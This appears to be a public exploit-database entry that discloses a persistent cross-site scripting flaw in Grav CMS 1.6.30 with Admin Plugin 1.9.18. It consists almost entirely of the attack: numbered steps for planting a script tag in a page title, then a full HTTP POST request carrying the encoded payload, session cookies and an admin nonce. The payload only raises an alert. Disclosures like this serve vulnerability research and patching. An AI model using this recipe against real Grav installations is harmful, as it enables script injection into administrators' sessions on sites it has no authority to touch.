Grav CMS 1.6.30 Admin Plugin 1.9.18 – ‘Page Title’ Persistent Cross-Site Scripting
# Exploit Title: Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Persistent Cross-Site Scripting # Date: 13-12-2020 # Exploit Author: Sagar Banwa # Vendor Homepage: https://getgrav.org/ # Software Link: https://getgrav.org/downloads # Version: Grav v1.6.30 - Admin v1.9.18 # Tested on: Windows 10/Kali Linux # Contact: https://www.linkedin.com/in/sagarbanwa/ Step to reproduce : 1) log in to the grav-admin panel 2) Go to Pages 3) Click on Add 4) It will ask to Add Page 5) fill the following details as below Page Title : <script>alert(1337)</script> Folder Name : sagar_Banwa Parent Page : /(root) Page Template : Default Value : yes 6) click on the Save button 7) now Click on Pages again. 8) your page name will be listed as <script>alert(1337)</script> 9) Now click on the eye button to see the XSS or you can simply go to http://127.0.0.1/grav-admin/ the XSS will pop-up ------------------------------------- POST /grav-admin/admin/pages HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 230 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/grav-admin/admin/pages Cookie: grav-site-a4a23f1-admin=ehrcji8qpnu8e50r839r4oe2on; grav-site-a4a23f1=u5438b49fft2b5d7610a53ne1d; grav-tabs-state={%22tab-options.routes.registration.Security%22:%22data.Security%22%2C%22tab-content.options.advanced%22:%22data.content%22} Upgrade-Insecure-Requests: 1 data%5Btitle%5D=%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&data%5Bfolder%5D=sagar_banwa&data%5Broute%5D=%2F&data%5Bname%5D=default&data%5Bvisible%5D=1&data%5Bblueprint%5D=&task=continue&admin-nonce=d488c0d8bdaf2978d50f174942d5279f ----------------------------- |